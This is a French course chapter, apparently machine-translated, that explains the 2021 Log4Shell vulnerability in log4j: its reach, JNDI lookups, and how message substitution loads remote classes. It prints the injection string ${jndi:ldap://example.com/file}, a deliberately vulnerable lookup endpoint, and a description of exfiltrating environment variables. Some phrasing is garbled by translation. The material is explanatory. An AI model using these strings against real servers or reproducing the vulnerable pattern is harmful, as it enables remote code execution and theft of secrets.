7.1 Scandale
Et bien sûr, il est impossible de ne pas raconter l'histoire qui s'est déroulée assez récemment - fin 2021.
L'Agence américaine de cybersécurité et de protection des infrastructures (CISA) a déclaré que le problème Log4Shellest l'une des vulnérabilités les plus graves de l'histoire. Oui, nous parlons de notre bibliothèque préférée log4j.
Notre petite bibliothèque douillette log4j et la plus grande vulnérabilité de l'histoire ? Intrigué ? Alors écoute.
7.2 Échelle de la catastrophe
La découverte d'une vulnérabilité critique Log4Shell(code CVE-2021-44228) a été annoncée le 9 décembre 2021 par les experts en sécurité de Lunasec. Les experts de la communauté Java Apache Security Team ont vérifié ces informations et publié une liste des bibliothèques Java vulnérables. La liste était juste énorme.
Si un projet Java utilisait une bibliothèque log4j, il pourrait être piraté assez facilement. Et étant donné que presque tous les logiciels de serveur sont écrits dans l'enregistreur Java Javale log4jplus populaire, selon les experts en sécurité, la vulnérabilité a affecté 93 % des environnements cloud d'entreprise. Y compris Amazon AWS, Microsoft Azure, Google Cloud, Cloudflare, iCloud, Minecraft, Steam et bien d'autres
De plus, la vulnérabilité affectait non seulement les logiciels de serveur, mais également de nombreuses applications Java, ainsi que les fabricants de matériel. Par exemple, Intel a publié une liste de 32 programmes piratables : SDK, systèmes de maintenance de serveurs, outils Linux.
Nvidia a également publié un rapport sur les problèmes de sécurité mentionnant les serveurs DGX et les outils NetQ. Un certain nombre de mises à jour ont été publiées d'urgence par Apple et Microsoft.
En gros, une ligne dans la barre d'adresse du navigateur d'un élève met le serveur si cette ligne est consommée par le logger (sur de nombreux serveurs, tout est journalisé HTTP-requests).
Après avoir analysé le code, il s'est avéré que la vulnérabilité était présente dans la bibliothèque depuis 2013, mais ils ne l'ont remarqué que maintenant. Et quand ils ont commencé à creuser plus profondément, ils ont découvert un abîme dont le fond n'est pas du tout visible.
7.3 La vulnérabilité la plus grave de l'histoire
En décembre 2021, la Cybersecurity and Infrastructure Protection Agency (CISA) des États-Unis a déclaré qu'il Log4Shells'agissait de l'une des vulnérabilités les plus graves de l'histoire .
De nombreux autres experts expriment une opinion similaire . Tout le monde connaît cette vulnérabilité et les pirates de tous âges l'utilisent déjà pour voler des données personnelles et d'autres types d'attaques contre diverses organisations. À l'avenir, nous attendons une vague de piratages massifs et de fuites de données.
L'ampleur de la catastrophe peut être mesurée même par le fait qu'il existe un site séparé avec des mèmes sur Log4j , et chaque jour, il y a de nouvelles images.
Ce problème nous accompagne depuis longtemps. Une faille de sécurité dans des millions, voire des centaines de millions de systèmes informatiques. Tous les anciens logiciels doivent être mis à jour et au moins remplacer cette bibliothèque là-bas. Mais dans la plupart des cas, personne ne sait même quelles bibliothèques et quelles versions sont utilisées dans leur logiciel.
De manière générale, on s'attend à une forte augmentation des salaires des spécialistes en sécurité informatique.
7.4 Nature de la vulnérabilité
Pour comprendre l'essence de la vulnérabilité, vous devez comprendre comment les grands systèmes de serveurs sont organisés. Souvent, ces applications serveur sont divisées en différents services situés sur différents serveurs. Et le service JNDI les aide à interagir.
Java Naming and Directory Interface (JNDI) consiste Java APIà rechercher des objets/services par leur nom. Ces objets peuvent être stockés dans divers services de nommage ou répertoires tels que Remote Method Invocation (RMI), Common Object Request Broker Architecture (CORBA), Lightweight Directory Access Protocol (LDAP) ou Domain Name Service (DNS).
Travailler avec lui est très simple - c'est un simple Java APIqui ne prend qu'un seul paramètre de chaîne - le nom du service. Avec lui, vous pouvez contacter n'importe quel service et lui demander de faire quelque chose et / ou d'envoyer des données. Par exemple, string ${jndi:ldap://example.com/file}chargera les données à partir de this URLspécifié dans la chaîne.
Si le paramètre provient d'une source non fiable, cela peut entraîner le chargement d'une classe à distance et l'exécution de code tiers . Que se passe-t-il dans le cas de Log4j. L'attaquant dirige simplement l'application Java de la victime vers l'application malveillante rmi/ldap/corba-serveret reçoit un objet malveillant en réponse.
Techniquement, le problème ici n'est pas dans log4jla bibliothèque elle-même, mais dans les paramètres de sécurité lorsque vous travaillez avec JNDI-service. Vous devez toujours vérifier à quel type de chaîne nous passons InitialContext.lookup().
Exemple vulnérable JNDI-applications:
@RequestMapping("/lookup")
@Example(uri = {"/lookup?name=java:comp/env"})
public Object lookup(@RequestParam String name) throws Exception{
return new javax.naming.InitialContext().lookup(name);
}
7.5 Bibliothèque trop intelligente
Et où log4jdemandez-vous? Le fait est que ses développeurs voulaient rendre le travail avec lui aussi confortable que possible et y ont ajouté une journalisation intelligente. Voici comment cela fonctionne:
Tout a commencé avec le fait que les messages de journal vous permettaient de définir un modèle dans lequel les données étaient remplacées, par exemple :
log.debug(“User {user} has {count} friends”, user, count);
L'ancienne version sans substitution de données ressemblait à ceci :
log.debug( “User “+user +” has “+ count +” friends”);
En 2013, la substitution des préfixes intelligents spécifiés par le modèle de vue a également été ajoutée à la bibliothèque ${prefix:name}. Par exemple, la chaîne “${java:version}”sera convertie en «Java version 1.7.0_67». Oh comme c'est pratique.
Parmi les expressions reconnues figurent ${jndi:<lookup>}celles où, après le protocole jndi, vous pouvez spécifier une recherche via LDAP: arbitraire URL-addresspeut être interrogé et chargé en tant que données d'objet Java.
C'est un problème classique de toute l'approche JDK: elle désérialise automatiquement un objet, dont un lien peut être défini sous la forme d'une url. Dans ce cas, non seulement les données de l'objet sont chargées depuis la ressource distante, mais également le code de sa classe.
Le hack ressemble à ceci :
- Téléchargement d'un fichier avec un code malveillant
- Le fichier contient sérialisé
Java an object(et sa classe) - La classe est en cours de chargement
Java-machine - Un objet d'une classe illicite est créé
- Le constructeur de l'objet s'appelle
- Le constructeur et l'initialisation statique permettent l'exécution de code de classe malveillant
log4jS'il y a quelque chose comme dans la ligne qui est enregistrée ${jndi:ldap://example.com/file}, alors log4jil téléchargera des données à partir de cela URL-addresslors de la connexion à Internet . En entrant une chaîne qui est consignée, un attaquant peut télécharger et exécuter du code malveillant hébergé sur un public URL-address.
Même si l'exécution des données est désactivée, un attaquant peut obtenir des données, telles que des variables d'environnement secrètes, en les plaçant dans un fichier URL-address, qui les remplacera et les enverra au serveur de l'attaquant.
La bonne nouvelle est que le problème a été rapidement résolu dans la bibliothèque .
La mauvaise nouvelle est que des millions de serveurs à travers le monde utilisent toujours l'ancienne version de cette bibliothèque ...
GO TO FULL VERSION